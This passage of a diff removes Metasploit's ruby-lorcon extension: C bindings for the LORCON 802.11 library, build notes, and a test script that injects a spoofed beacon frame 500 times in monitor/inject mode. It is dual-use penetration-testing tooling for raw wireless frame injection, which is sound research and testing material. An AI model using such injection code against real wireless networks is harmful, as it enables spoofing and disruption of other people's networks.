Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
switch(rb_scan_args(argc, argv, "12", &rbbuff, &rbcnt, &rbdelay)) {
|
||||
case 1:
|
||||
rbdelay = INT2NUM(0);
|
||||
case 2:
|
||||
rbcnt = INT2NUM(1);
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
cnt = NUM2INT(rbcnt);
|
||||
dly = NUM2INT(rbdelay);
|
||||
|
||||
rld->in_packet.packet = StringValuePtr(rbbuff);
|
||||
rld->in_packet.plen = RSTRING(rbbuff)->len;
|
||||
|
||||
for (; cnt > 0; cnt--) {
|
||||
ret = tx80211_txpacket(&rld->in_tx, &rld->in_packet);
|
||||
if (ret < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Lorcon could not transmit packet: %s", tx80211_geterrstr(&rld->in_tx));
|
||||
return(INT2NUM(ret));
|
||||
}
|
||||
if (dly > 0)
|
||||
#ifdef _MSC_VER
|
||||
Sleep(dly);
|
||||
#else
|
||||
usleep(dly);
|
||||
#endif
|
||||
}
|
||||
|
||||
return (rbcnt);
|
||||
}
|
||||
|
||||
void Init_Lorcon() {
|
||||
mLorcon = rb_define_module("Lorcon");
|
||||
rb_define_module_function(mLorcon, "drivers", lorcon_driver_list, 0);
|
||||
rb_define_module_function(mLorcon, "version", lorcon_get_version, 0);
|
||||
|
||||
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
|
||||
rb_define_singleton_method(cDevice, "new", lorcon_device_open, -1);
|
||||
rb_define_method(cDevice, "channel", lorcon_device_get_channel, 0);
|
||||
rb_define_method(cDevice, "channel=", lorcon_device_set_channel, 1);
|
||||
rb_define_method(cDevice, "write", lorcon_device_write, -1);
|
||||
rb_define_method(cDevice, "mode", lorcon_device_get_mode, 0);
|
||||
rb_define_method(cDevice, "mode=", lorcon_device_set_mode, 1);
|
||||
rb_define_method(cDevice, "fmode=", lorcon_device_set_functional_mode, 1);
|
||||
rb_define_method(cDevice, "txrate", lorcon_device_get_txrate, 0);
|
||||
rb_define_method(cDevice, "txrate=", lorcon_device_set_txrate, 1);
|
||||
rb_define_method(cDevice, "modulation", lorcon_device_get_modulation, 0);
|
||||
rb_define_method(cDevice, "modulation=", lorcon_device_set_modulation, 1);
|
||||
rb_define_method(cDevice, "capabilities", lorcon_device_get_capabilities, 0);
|
||||
}
|
|
@ -1,19 +0,0 @@
|
|||
#ifndef _MSFLORCON_H
|
||||
#define _MSFLORCON_H
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <tx80211.h>
|
||||
#include <tx80211_packet.h>
|
||||
|
||||
|
||||
struct rldev {
|
||||
struct tx80211 in_tx;
|
||||
struct tx80211_packet in_packet;
|
||||
};
|
||||
|
||||
|
||||
#endif
|
|
@ -1,41 +0,0 @@
|
|||
This is an experimental interface for lorcon, a 802.11 library
|
||||
developed by Joshua Wright and dragorn. This interface is only
|
||||
available on Linux and with lorcon-supported wireless drivers.
|
||||
|
||||
For more information, please see the lorcon documentation and code:
|
||||
http://www.802.11mercenary.net/lorcon/
|
||||
|
||||
To build this extension:
|
||||
|
||||
1) Download, compile, and install lorcon
|
||||
The latest version of lorcon can pulled from SVN:
|
||||
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
|
||||
$ cd lorcon
|
||||
$ ./configure
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
# exit
|
||||
$ cd ..
|
||||
|
||||
2) build the ruby extension..
|
||||
$ ruby extconf.rb
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
|
||||
|
||||
NOTES:
|
||||
|
||||
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
|
||||
you need ruby dev package.
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
|
||||
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
|
||||
from extconf.rb:2
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev
|
|
@ -1,8 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'mkmf'
|
||||
|
||||
if (have_library("orcon", "tx80211_txpacket", "tx80211.h") or find_library("orcon", "tx80211_txpacket", "tx80211.h"))
|
||||
create_makefile("Lorcon")
|
||||
else
|
||||
puts "Error: the lorcon library was not found, please see the README"
|
||||
end
|
|
@ -1,47 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$:.unshift(File.dirname(__FILE__))
|
||||
require "Lorcon"
|
||||
require "pp"
|
||||
|
||||
pp Lorcon.version
|
||||
pp Lorcon.drivers
|
||||
|
||||
# Beacon frame from tx.c
|
||||
packet = [
|
||||
0x80, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # dur ffff
|
||||
0xff, 0xff, 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03,
|
||||
0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, 0x00, 0x00, # 0x0000 - seq no.
|
||||
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # BSS timestamp
|
||||
0x64, 0x00, 0x11, 0x00, 0x00, 0x0f, 0x73, 0x6f,
|
||||
0x6d, 0x65, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x63,
|
||||
0x6c, 0x65, 0x76, 0x65, 0x72, 0x01, 0x08, 0x82,
|
||||
0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03,
|
||||
0x01, 0x01, 0x05, 0x04, 0x00, 0x01, 0x00, 0x00,
|
||||
0x2a, 0x01, 0x05, 0x2f, 0x01, 0x05, 0x32, 0x04,
|
||||
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x05, 0x00, 0x10,
|
||||
0x18, 0x01, 0x01, 0xdd, 0x16, 0x00, 0x50, 0xf2,
|
||||
0x01, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01,
|
||||
0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x00, 0x00,
|
||||
0x50, 0xf2, 0x02
|
||||
].pack('C*')
|
||||
|
||||
|
||||
# Configure the card for reliable injection
|
||||
|
||||
tx = Lorcon::Device.new('ath0', 'madwifing')
|
||||
tx.fmode = "INJECT"
|
||||
tx.channel = 11
|
||||
tx.txrate = 2
|
||||
tx.modulation = "DSSS"
|
||||
|
||||
sa = Time.now.to_f
|
||||
tx.write(packet, 500, 0)
|
||||
ea = Time.now.to_f - sa
|
||||
|
||||
sb = Time.now.to_f
|
||||
500.times { tx.write(packet, 1, 0) }
|
||||
eb = Time.now.to_f - sb
|
||||
|
||||
$stdout.puts "Sent 500 packets (C) in #{ea.to_s} seconds"
|
||||
$stdout.puts "Sent 500 packets (Ruby) in #{eb.to_s} seconds"
|
|
@ -1,655 +0,0 @@
|
|||
#include "Lorcon2.h"
|
||||
#include "ruby.h"
|
||||
|
||||
#ifndef RUBY_19
|
||||
#include "rubysig.h"
|
||||
#endif
|
||||
|
||||
/*
|
||||
self.license = GPLv2;
|
||||
*/
|
||||
|
||||
/*
|
||||
This is a derivative of the tx.c sample included with lorcon:
|
||||
http://802.11ninja.net/lorcon/
|
||||
|
||||
lorcon is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
lorcon is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with lorcon; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
Copyright (c) 2005 dragorn and Joshua Wright
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
Lots of code borrowed from Tom Wambold's pylorcon:
|
||||
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
|
||||
*/
|
||||
|
||||
/*
|
||||
All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007
|
||||
http://metasploit.com/ - msfdev[at]metasploit.com
|
||||
*/
|
||||
|
||||
VALUE mLorcon;
|
||||
VALUE cDevice;
|
||||
VALUE cPacket;
|
||||
|
||||
VALUE Lorcon_get_version(VALUE self) {
|
||||
return INT2NUM(lorcon_get_version());
|
||||
}
|
||||
|
||||
static VALUE Lorcon_list_drivers(VALUE self) {
|
||||
VALUE list;
|
||||
VALUE hash;
|
||||
|
||||
lorcon_driver_t *drvlist, *dri;
|
||||
|
||||
list = rb_hash_new();
|
||||
|
||||
dri = drvlist = lorcon_list_drivers();
|
||||
|
||||
if (dri == NULL)
|
||||
return Qnil;
|
||||
|
||||
while (dri) {
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
|
||||
rb_hash_aset(list, rb_str_new2(dri->name),hash);
|
||||
dri = dri->next;
|
||||
}
|
||||
|
||||
lorcon_free_driver_list(drvlist);
|
||||
|
||||
return(list);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_find_driver(VALUE self, VALUE driver) {
|
||||
VALUE hash;
|
||||
lorcon_driver_t *dri;
|
||||
char *drivert = RSTRING_PTR(driver);
|
||||
|
||||
dri = lorcon_find_driver(drivert);
|
||||
|
||||
if (dri == NULL)
|
||||
return Qnil;
|
||||
|
||||
hash = rb_hash_new();
|
||||
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
|
||||
|
||||
lorcon_free_driver_list(dri);
|
||||
|
||||
return(hash);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_auto_driver(VALUE self, VALUE interface) {
|
||||
VALUE hash;
|
||||
lorcon_driver_t *dri;
|
||||
char *intf = RSTRING_PTR(interface);
|
||||
|
||||
dri = lorcon_auto_driver(intf);
|
||||
|
||||
if (dri == NULL)
|
||||
return Qnil;
|
||||
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name));
|
||||
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details));
|
||||
|
||||
lorcon_free_driver_list(dri);
|
||||
|
||||
return hash;
|
||||
}
|
||||
|
||||
void Lorcon_free(struct rldev *rld) {
|
||||
if (rld->context != NULL)
|
||||
lorcon_free(rld->context);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_create(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
char *intf = NULL, *driver = NULL;
|
||||
VALUE rbdriver, rbintf, obj;
|
||||
lorcon_driver_t *dri;
|
||||
|
||||
if (argc == 2) {
|
||||
rb_scan_args(argc, argv, "2", &rbintf, &rbdriver);
|
||||
intf = StringValuePtr(rbintf);
|
||||
driver = StringValuePtr(rbdriver);
|
||||
} else {
|
||||
rb_scan_args(argc, argv, "1", &rbintf);
|
||||
intf = StringValuePtr(rbintf);
|
||||
}
|
||||
|
||||
if (driver == NULL) {
|
||||
if ((dri = lorcon_auto_driver(intf)) == NULL) {
|
||||
rb_raise(rb_eRuntimeError,
|
||||
"LORCON could not detect a driver and none specified");
|
||||
return (Qnil);
|
||||
}
|
||||
} else {
|
||||
if ((dri = lorcon_find_driver(driver)) == NULL) {
|
||||
rb_raise(rb_eArgError,
|
||||
"LORCON could not recognize the specified driver");
|
||||
return (Qnil);
|
||||
}
|
||||
}
|
||||
|
||||
obj = Data_Make_Struct(cDevice, struct rldev, 0, Lorcon_free, rld);
|
||||
|
||||
rld->context = lorcon_create(intf, dri);
|
||||
|
||||
// Obsolete: XXX
|
||||
// lorcon_set_timeout(rld->context, 100);
|
||||
|
||||
if (rld->context == NULL) {
|
||||
rb_raise(rb_eRuntimeError,
|
||||
"LORCON could not create context");
|
||||
return (Qnil);
|
||||
}
|
||||
|
||||
lorcon_free_driver_list(dri);
|
||||
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
|
||||
static VALUE Lorcon_open_inject(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (lorcon_open_inject(rld->context) < 0)
|
||||
return Qfalse;
|
||||
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_open_monitor(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (lorcon_open_monitor(rld->context) < 0)
|
||||
return Qfalse;
|
||||
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_open_injmon(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (lorcon_open_injmon(rld->context) < 0)
|
||||
return Qfalse;
|
||||
|
||||
return Qtrue;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_get_error(VALUE self) {
|
||||
struct rldev *rld;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
return rb_str_new2(lorcon_get_error(rld->context));
|
||||
}
|
||||
|
||||
static VALUE Lorcon_get_capiface(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
return rb_str_new2(lorcon_get_capiface(rld->context));
|
||||
}
|
||||
|
||||
void Lorcon_packet_free(struct rlpack *rlp) {
|
||||
if (rlp->packet != NULL) {
|
||||
lorcon_packet_free(rlp->packet);
|
||||
rlp->packet = NULL;
|
||||
free(rlp);
|
||||
}
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_create(int argc, VALUE *argv, VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
VALUE obj;
|
||||
|
||||
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
|
||||
|
||||
rlp->packet = (struct lorcon_packet *) malloc(sizeof(struct lorcon_packet));
|
||||
memset(rlp->packet, 0, sizeof(struct lorcon_packet));
|
||||
|
||||
rlp->bssid = NULL;
|
||||
rlp->dot3 = NULL;
|
||||
rlp->len = 0;
|
||||
rlp->dir = 0;
|
||||
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_channel(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->channel);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_set_channel(VALUE self, VALUE channel) {
|
||||
struct rlpack *rlp;
|
||||
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
lorcon_packet_set_channel(rlp->packet, NUM2INT(channel));
|
||||
|
||||
return channel;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_dlt(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->dlt);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_bssid(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->bssid_mac == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)extra->bssid_mac, 6);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_source(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->source_mac == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)extra->source_mac, 6);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_dest(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->dest_mac == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)extra->dest_mac, 6);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_rawdata(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_raw == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)rlp->packet->packet_raw, rlp->packet->length);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_headerdata(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_header == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)rlp->packet->packet_header, rlp->packet->length_header);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_data(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_data == NULL)
|
||||
return Qnil;
|
||||
|
||||
return rb_str_new((char *)rlp->packet->packet_data, rlp->packet->length_data);
|
||||
}
|
||||
|
||||
|
||||
static VALUE Lorcon_packet_getdot3(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
u_char *pdata;
|
||||
int len;
|
||||
VALUE ret;
|
||||
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->packet->packet_data == NULL)
|
||||
return Qnil;
|
||||
|
||||
len = lorcon_packet_to_dot3(rlp->packet, &pdata);
|
||||
|
||||
ret = rb_str_new((char *)pdata, len);
|
||||
|
||||
free(pdata);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_prepdot3(VALUE self, VALUE dot3) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
rlp->dot3 = (unsigned char *) RSTRING_PTR(dot3);
|
||||
rlp->len = RSTRING_LEN(dot3);
|
||||
|
||||
return dot3;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_prepbssid(VALUE self, VALUE bssid) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
rlp->bssid = (unsigned char *)RSTRING_PTR(bssid);
|
||||
|
||||
return bssid;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_prepdir(VALUE self, VALUE dir) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
rlp->dir = NUM2INT(dir);
|
||||
|
||||
return dir;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_getdir(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
struct lorcon_dot11_extra *extra;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
if (rlp->dir != 0)
|
||||
return INT2FIX(rlp->dir);
|
||||
|
||||
if (rlp->packet == NULL)
|
||||
return Qnil;
|
||||
|
||||
if (rlp->packet->extra_info == NULL ||
|
||||
rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211)
|
||||
return Qnil;
|
||||
|
||||
extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info;
|
||||
|
||||
if (extra->from_ds && !extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_FROMDS);
|
||||
else if (!extra->from_ds && extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_TODS);
|
||||
else if (!extra->from_ds && !extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_ADHOCDS);
|
||||
else if (extra->from_ds && extra->to_ds)
|
||||
return INT2FIX(LORCON_DOT11_DIR_INTRADS);
|
||||
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_rawlength(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->length);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_headerlength(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->length_header);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_packet_get_datalength(VALUE self) {
|
||||
struct rlpack *rlp;
|
||||
Data_Get_Struct(self, struct rlpack, rlp);
|
||||
|
||||
return INT2FIX(rlp->packet->length_data);
|
||||
}
|
||||
|
||||
VALUE new_lorcon_packet(struct lorcon_packet **packet) {
|
||||
struct rlpack *rlp;
|
||||
VALUE obj;
|
||||
|
||||
obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp);
|
||||
|
||||
rlp->packet = *packet;
|
||||
rb_obj_call_init(obj, 0, 0);
|
||||
return(obj);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_inject_packet(VALUE self, VALUE packet) {
|
||||
struct rldev *rld;
|
||||
struct rlpack *rlp;
|
||||
lorcon_packet_t *pack = NULL;
|
||||
int ret;
|
||||
|
||||
if (rb_obj_is_kind_of(packet, cPacket) == 0) {
|
||||
rb_raise(rb_eTypeError, "wrong type expected %s", rb_class2name(cPacket));
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
Data_Get_Struct(packet, struct rlpack, rlp);
|
||||
|
||||
if (rlp->bssid != NULL && rlp->dot3 != NULL) {
|
||||
pack = lorcon_packet_from_dot3(rlp->bssid, rlp->dir, rlp->dot3, rlp->len);
|
||||
ret = lorcon_inject(rld->context, pack);
|
||||
lorcon_packet_free(pack);
|
||||
} else {
|
||||
ret = lorcon_inject(rld->context, rlp->packet);
|
||||
}
|
||||
|
||||
return INT2FIX(ret);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_write_raw(VALUE self, VALUE rpacket) {
|
||||
struct rldev *rld;
|
||||
int ret;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if(TYPE(rpacket) != T_STRING) {
|
||||
rb_raise(rb_eArgError, "packet data must be a string");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
ret = lorcon_send_bytes(rld->context, RSTRING_LEN(rpacket), (unsigned char *)RSTRING_PTR(rpacket));
|
||||
return INT2FIX(ret);
|
||||
}
|
||||
|
||||
static VALUE Lorcon_set_filter(VALUE self, VALUE filter) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2FIX(lorcon_set_filter(rld->context, RSTRING_PTR(filter)));
|
||||
}
|
||||
|
||||
static VALUE Lorcon_set_channel(VALUE self, VALUE channel) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2FIX(lorcon_set_channel(rld->context, NUM2INT(channel)));
|
||||
}
|
||||
|
||||
static VALUE Lorcon_get_channel(VALUE self) {
|
||||
struct rldev *rld;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
return INT2FIX(lorcon_get_channel(rld->context));
|
||||
}
|
||||
|
||||
static void rblorcon_pcap_handler(rblorconjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
|
||||
job->pkt = (unsigned char *)pkt;
|
||||
job->hdr = *hdr;
|
||||
}
|
||||
|
||||
static VALUE Lorcon_capture_next(VALUE self) {
|
||||
struct rldev *rld;
|
||||
int ret = 0;
|
||||
struct lorcon_packet *packet;
|
||||
unsigned char *raw;
|
||||
pcap_t *pd;
|
||||
rblorconjob_t job;
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
pd = lorcon_get_pcap(rld->context);
|
||||
|
||||
#ifndef RUBY_19
|
||||
TRAP_BEG;
|
||||
#endif
|
||||
ret = pcap_dispatch(pd, 1, (pcap_handler) rblorcon_pcap_handler, (u_char *)&job);
|
||||
#ifndef RUBY_19
|
||||
TRAP_END;
|
||||
#endif
|
||||
|
||||
if (ret == 0)
|
||||
return(Qnil);
|
||||
|
||||
if (ret < 0 || job.hdr.caplen <= 0)
|
||||
return INT2FIX(ret);
|
||||
|
||||
raw = malloc(job.hdr.caplen);
|
||||
if(! raw) return Qnil;
|
||||
|
||||
memcpy(raw, job.pkt, job.hdr.caplen);
|
||||
packet = lorcon_packet_from_pcap(rld->context, &job.hdr, raw);
|
||||
lorcon_packet_set_freedata(packet, 1);
|
||||
|
||||
return new_lorcon_packet(&packet);
|
||||
}
|
||||
|
||||
|
||||
static VALUE Lorcon_capture_loop(int argc, VALUE *argv, VALUE self) {
|
||||
struct rldev *rld;
|
||||
int count = 0;
|
||||
int p = 0;
|
||||
VALUE v_cnt;
|
||||
VALUE ret;
|
||||
int fd;
|
||||
|
||||
Data_Get_Struct(self, struct rldev, rld);
|
||||
|
||||
if (rb_scan_args(argc, argv, "01", &v_cnt) >= 1) {
|
||||
count = FIX2INT(v_cnt);
|
||||
} else {
|
||||
count = -1;
|
||||
}
|
||||
|
||||
fd = lorcon_get_selectable_fd(rld->context);
|
||||
if(fd < 0 ) {
|
||||
rb_raise(rb_eRuntimeError,
|
||||
"LORCON context could not provide a pollable descriptor "
|
||||
"and we need one for the threaded dispatch loop");
|
||||
}
|
||||
|
||||
while (p < count || count <= 0) {
|
||||
ret = Lorcon_capture_next(self);
|
||||
if(TYPE(ret) == T_FIXNUM) return(ret);
|
||||
if(ret == Qnil) {
|
||||
rb_thread_wait_fd(fd);
|
||||
} else {
|
||||
rb_yield(ret);
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
return INT2FIX(p);
|
||||
}
|
||||
|
||||
|
||||
void Init_Lorcon2() {
|
||||
mLorcon = rb_define_module("Lorcon");
|
||||
|
||||
cPacket = rb_define_class_under(mLorcon, "Packet", rb_cObject);
|
||||
|
||||
rb_define_const(cPacket, "LORCON_FROM_DS", INT2NUM(LORCON_DOT11_DIR_FROMDS));
|
||||
rb_define_const(cPacket, "LORCON_TO_DS", INT2NUM(LORCON_DOT11_DIR_TODS));
|
||||
rb_define_const(cPacket, "LORCON_INTRA_DS", INT2NUM(LORCON_DOT11_DIR_INTRADS));
|
||||
rb_define_const(cPacket, "LORCON_ADHOC_DS", INT2NUM(LORCON_DOT11_DIR_ADHOCDS));
|
||||
|
||||
rb_define_singleton_method(cPacket, "new", Lorcon_packet_create, -1);
|
||||
rb_define_method(cPacket, "bssid", Lorcon_packet_get_bssid, 0);
|
||||
rb_define_method(cPacket, "source", Lorcon_packet_get_source, 0);
|
||||
rb_define_method(cPacket, "dest", Lorcon_packet_get_dest, 0);
|
||||
|
||||
rb_define_method(cPacket, "channel", Lorcon_packet_get_channel, 0);
|
||||
rb_define_method(cPacket, "channel=", Lorcon_packet_set_channel, 1);
|
||||
rb_define_method(cPacket, "dlt", Lorcon_packet_get_dlt, 0);
|
||||
|
||||
rb_define_method(cPacket, "rawdata", Lorcon_packet_get_rawdata, 0);
|
||||
rb_define_method(cPacket, "headerdata", Lorcon_packet_get_headerdata, 0);
|
||||
rb_define_method(cPacket, "data", Lorcon_packet_get_data, 0);
|
||||
|
||||
rb_define_method(cPacket, "dot3", Lorcon_packet_getdot3, 0);
|
||||
|
||||
rb_define_method(cPacket, "dot3=", Lorcon_packet_prepdot3, 1);
|
||||
rb_define_method(cPacket, "bssid=", Lorcon_packet_prepbssid, 1);
|
||||
rb_define_method(cPacket, "direction=", Lorcon_packet_prepdir, 1);
|
||||
rb_define_method(cPacket, "direction", Lorcon_packet_getdir, 0);
|
||||
|
||||
rb_define_method(cPacket, "size", Lorcon_packet_get_rawlength, 0);
|
||||
rb_define_method(cPacket, "linesize", Lorcon_packet_get_rawlength, 0);
|
||||
rb_define_method(cPacket, "headersize", Lorcon_packet_get_headerlength, 0);
|
||||
rb_define_method(cPacket, "datasize", Lorcon_packet_get_datalength, 0);
|
||||
|
||||
cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject);
|
||||
rb_define_singleton_method(cDevice, "new", Lorcon_create, -1);
|
||||
rb_define_method(cDevice, "openinject", Lorcon_open_inject, 0);
|
||||
rb_define_method(cDevice, "openmonitor", Lorcon_open_monitor, 0);
|
||||
rb_define_method(cDevice, "openinjmon", Lorcon_open_injmon, 0);
|
||||
rb_define_method(cDevice, "error", Lorcon_get_error, 0);
|
||||
rb_define_method(cDevice, "capiface", Lorcon_get_capiface, 0);
|
||||
|
||||
rb_define_method(cDevice, "filter=", Lorcon_set_filter, 1);
|
||||
